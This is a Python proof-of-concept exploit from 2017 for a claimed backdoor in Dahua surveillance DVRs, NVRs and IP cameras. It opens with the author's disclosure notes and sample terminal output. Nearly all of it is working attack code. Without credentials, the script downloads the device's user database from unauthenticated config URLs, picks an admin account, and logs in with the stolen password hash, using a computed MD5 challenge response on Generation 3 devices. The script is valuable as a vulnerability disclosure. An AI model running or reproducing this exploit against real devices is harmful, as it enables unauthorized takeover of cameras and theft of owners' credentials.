if False: '''
2017-05-03
Public rerelease of Dahua Backdoor PoC
https://github.com/mcw0/PoC/blob/master/dahua-backdoor-PoC.py
2017-03-20
With my newfound knowledge of vulnerable devices out there with an unbelievable number of more than 1 million Dahua / OEM units, where knowledge comes from a report made by NSFOCUS and my own research on shodan.io.
With this knowledge, I will not release the Python PoC to the public as before said of April 5, as it is not necessary when the PoC has already been verified by IPVM and other independent security researchers.
However, I'm open to share the PoC with serious security researchers if so desired, please e-mail me off list and be clear about who you are so I do not take you for a beggar, which I ignore.
NSFOCUS report: http://blog.nsfocus.net/dahua-cameras-unauthorized-access-vulnerability-technical-analysis-solution/
/bashis
[STX]
I'm speechless, and almost don't know what I should write... I (hardly) can't believe what I have just found.
I have just discovered (to what I strongly believe is backdoor) in Dahua DVR/NVR/IPC and possible all their clones.
Since I am convinced this is a backdoor, I have my own policy to NOT notify the vendor before the community.
(I simply don't want to listen on their poor excuses, their tryings to keep me silent for informing the community)
In short:
You can delete/add/change name on the admin users, you change password on the admin users - this backdoor simply don't care about that!
It uses whatever names and passwords you configuring - by simply downloading the full user database and use your own credentials!
This is so simple as:
1. Remotely download the full user database with all credentials and permissions
2. Choose whatever admin user, copy the login names and password hashes
3. Use them as source to remotely login to the Dahua devices
This is like a damn Hollywood hack, click on one button and you are in...
Below PoC you will find here: https://github.com/mcw0/PoC/dahua-backdoor.py
Update:
Dahua has requested me to temporally remove the PoC code, will be back here again 5th April. (30 days)
/Sorry, bashis
Please have understanding of the quick hack of the PoC, I'm sure it could be done better.
Have a nice day
/bashis
$ ./dahua-backdoor.py --rhost 192.168.5.2
[*] [Dahua backdoor Generation 2 & 3 (2017 bashis <mcw noemail eu>)]
[i] Remote target IP: 192.168.5.2
[i] Remote target PORT: 80
[>] Checking for backdoor version
[<] 200 OK
[!] Generation 2 found
[i] Chosing Admin Login: 888888, PWD hash: 4WzwxXxM
[>] Requesting our session ID
[<] 200 OK
[>] Logging in
[<] 200 OK
{ "id" : 10000, "params" : null, "result" : true, "session" : 100385023 }
[>] Logging out
[<] 200 OK
[*] All done...
$
$ ./dahua-backdoor.py --rhost 192.168.5.3
[*] [Dahua backdoor Generation 2 & 3 (2017 bashis <mcw noemail eu>)]
[i] Remote target IP: 192.168.5.3
[i] Remote target PORT: 80
[>] Checking for backdoor version
[<] 200 OK
[!] Generation 3 Found
[i] Choosing Admin Login: admin, Auth: 27
[>] Requesting our session ID
[<] 200 OK
[i] Downloaded MD5 hash: 94DB0778856B11C0D0F5455CCC0CE074
[i] Random value to encrypt with: 1958557123
[i] Built password: admin:1958557123:94DB0778856B11C0D0F5455CCC0CE074
[i] MD5 generated password: 2A5F4F7E1BB6F0EA6381E4595651A79E
[>] Logging in
[<] 200 OK
{ "id" : 10000, "params" : null, "result" : true, "session" : 1175887285 }
[>] Logging out
[<] 200 OK
[*] All done...
$
[ETX]
'''
#
# Dahua backdoor PoC Generation 2 and 3
# Author: bashis <mcw noemail eu> March 2017
# Credentials: No Credentials needed (Exploited as Anonymous)
# Note: PoC intentionally missing essential details to be direct usable for anything else than login/logout.
#
# Vendor URL: http://www.dahuasecurity.com/
#
# Patched firmware can be downloaded from newly introduced 'Firmware download function'
# (Don't mind the old date stamps, these should all be the hotfixed updates)
import string
import sys
import socket
import argparse
import urllib, urllib2, httplib
import base64
import ssl
import json
import commentjson
import hashlib
class HTTPconnect:
def __init__(self, host, proto, verbose, creds, Raw):
self.host = host
self.proto = proto
self.verbose = verbose
self.credentials = creds
self.Raw = Raw
def Send(self, uri, query_headers, query_data,ID):
self.uri = uri
self.query_headers = query_headers
self.query_data = query_data
self.ID = ID
timeout = 5
socket.setdefaulttimeout(timeout)
url = '{}://{}{}'.format(self.proto, self.host, self.uri)
if self.verbose:
print "[Verbose] Sending:", url
if self.proto == 'https':
if hasattr(ssl, '_create_unverified_context'):
print "[i] Creating SSL Unverified Context"
ssl._create_default_https_context = ssl._create_unverified_context
if self.credentials:
Basic_Auth = self.credentials.split(':')
if self.verbose:
print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]
try:
pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
except Exception as e:
print "[!] Basic Auth Error:",e
sys.exit(1)
if self.query_data:
request = urllib2.Request(url, data=json.dumps(self.query_data), headers=self.query_headers)
else:
request = urllib2.Request(url, None, headers=self.query_headers)
response = urllib2.urlopen(request)
if response:
print "[<] {} OK".format(response.code)
if self.Raw:
return response
else:
html = response.read()
return html
class Dahua_Backdoor:
def __init__(self, rhost, proto, verbose, creds, Raw):
self.rhost = rhost
self.proto = proto
self.verbose = verbose
self.credentials = creds
self.Raw = Raw
def Gen2(self,response,headers):
self.response = response
self.headers = headers
html = self.response.readlines()
if self.verbose:
for lines in html:
print "{}".format(lines)
for line in html:
if line[0] == "#" or line[0] == "\n":
continue
line = line.split(':')[0:25]
if line[3] == '1':
USER_NAME = line[1]
PWDDB_HASH = line[2]
print "[i] Choosing Admin Login [{}]: {}, PWD hash: {}".format(line[0],line[1],line[2])
break
print "[>] Requesting our session ID"
query_args = {"method":"global.login",
"params":{
"userName":USER_NAME,
"password":"",
"clientType":"Web3.0"},
"id":10000}
URI = '/RPC2_Login'
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,None)
json_obj = json.load(response)
if self.verbose:
print json.dumps(json_obj,sort_keys=True,indent=4, separators=(',', ': '))
print "[>] Logging in"
query_args = {"method":"global.login",
"session":json_obj['session'],
"params":{
"userName":USER_NAME,
"password":PWDDB_HASH,
"clientType":"Web3.0",
"authorityType":"OldDigest"},
"id":10000}
URI = '/RPC2_Login'
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,json_obj['session'])
print response.read()
print "[>] Logging out"
query_args = {"method":"global.logout",
"params":"null",
"session":json_obj['session'],
"id":10001}
URI = '/RPC2'
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,None)
return response
def Gen3(self,response,headers):
self.response = response
self.headers = headers
json_obj = commentjson.load(self.response)
if self.verbose:
print json.dumps(json_obj,sort_keys=True,indent=4, separators=(',', ': '))
for who in json_obj[json_obj.keys()[0]]:
if who['Group'] == 'admin':
USER_NAME = who['Name']
PWDDB_HASH = who['Password']
print "[i] Choosing Admin Login: {}".format(who['Name'])
break
print "[>] Requesting our session ID"
query_args = {"method":"global.login",
"params":{
"userName":USER_NAME,
"password":"",
"clientType":"Web3.0"},
"id":10000}
URI = '/RPC2_Login'
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,None)
json_obj = json.load(response)
if self.verbose:
print json.dumps(json_obj,sort_keys=True,indent=4, separators=(',', ': '))
RANDOM = json_obj['params']['random']
PASS = ''+ USER_NAME +':' + RANDOM + ':' + PWDDB_HASH + ''
RANDOM_HASH = hashlib.md5(PASS).hexdigest().upper()
print "[i] Downloaded MD5 hash:",PWDDB_HASH
print "[i] Random value to encrypt with:",RANDOM
print "[i] Built password:",PASS
print "[i] MD5 generated password:",RANDOM_HASH
print "[>] Logging in"
query_args = {"method":"global.login",
"session":json_obj['session'],
"params":{
"userName":USER_NAME,
"password":RANDOM_HASH,
"clientType":"Web3.0",
"authorityType":"Default"},
"id":10000}
URI = '/RPC2_Login'
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,json_obj['session'])
print response.read()
print "[>] Logging out"
query_args = {"method":"global.logout",
"params":"null",
"session":json_obj['session'],
"id":10001}
URI = '/RPC2'
response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,None)
return response
class Validate:
def __init__(self,verbose):
self.verbose = verbose
def CheckIP(self,IP):
self.IP = IP
ip = self.IP.split('.')
if len(ip) != 4:
return False
for tmp in ip:
if not tmp.isdigit():
return False
i = int(tmp)
if i < 0 or i > 255:
return False
return True
def Port(self,PORT):
self.PORT = PORT
if int(self.PORT) < 1 or int(self.PORT) > 65535:
return False
else:
return True
def Host(self,HOST):
self.HOST = HOST
try:
socket.inet_aton(self.HOST)
if self.CheckIP(self.HOST):
return self.HOST
else:
return False
except socket.error as e:
try:
self.HOST = socket.gethostbyname(self.HOST)
return self.HOST
except socket.error as e:
return False
if __name__ == '__main__':
INFO ='[Dahua backdoor Generation 2 & 3 (2017 bashis <mcw noemail eu>)]\n'
HTTP = "http"
HTTPS = "https"
proto = HTTP
verbose = False
raw_request = True
rhost = '192.168.5.2'
rport = '80'
creds = False
try:
arg_parser = argparse.ArgumentParser(
prog=sys.argv[0],
description=('[*] '+ INFO +' [*]'))
arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')
if creds:
arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']')
arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')
arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')
args = arg_parser.parse_args()
except Exception as e:
print INFO,"\nError: %s\n" % str(e)
sys.exit(1)
if len(sys.argv) == 1:
arg_parser.parse_args(['-h'])
print "\n[*]",INFO
if args.verbose:
verbose = args.verbose
if args.https:
proto = HTTPS
if not args.rport:
rport = '443'
if creds and args.auth:
creds = args.auth
if args.rport:
rport = args.rport
if args.rhost:
rhost = args.rhost
if not Validate(verbose).Port(rport):
print "[!] Invalid RPORT - Choose between 1 and 65535"
sys.exit(1)
rhost = Validate(verbose).Host(rhost)
if not rhost:
print "[!] Invalid RHOST"
sys.exit(1)
if args.https:
print "[i] HTTPS / SSL Mode Selected"
print "[i] Remote target IP:",rhost
print "[i] Remote target PORT:",rport
rhost = rhost + ':' + rport
headers = {
'X-Requested-With' : 'XMLHttpRequest',
'X-Request' : 'JSON',
'User-Agent':'Dahua/2.0; Dahua/3.0'
}
try:
print "[>] Checking for backdoor version"
URI = "/current_config/passwd"
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None)
print "[!] Generation 2 found"
reponse = Dahua_Backdoor(rhost,proto,verbose,creds,raw_request).Gen2(response,headers)
except urllib2.HTTPError as e:
if e.code == 404:
try:
URI = '/current_config/Account1'
response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None)
print "[!] Generation 3 Found"
response = Dahua_Backdoor(rhost,proto,verbose,creds,raw_request).Gen3(response,headers)
except urllib2.HTTPError as e:
if e.code == 404:
print "[!] Patched or not Dahua device! ({})".format(e.code)
sys.exit(1)
else:
print "Error Code: {}".format(e.code)
except Exception as e:
print "[!] Detect of target failed ({})".format(e)
sys.exit(1)
print "\n[*] All done...\n"
sys.exit(0)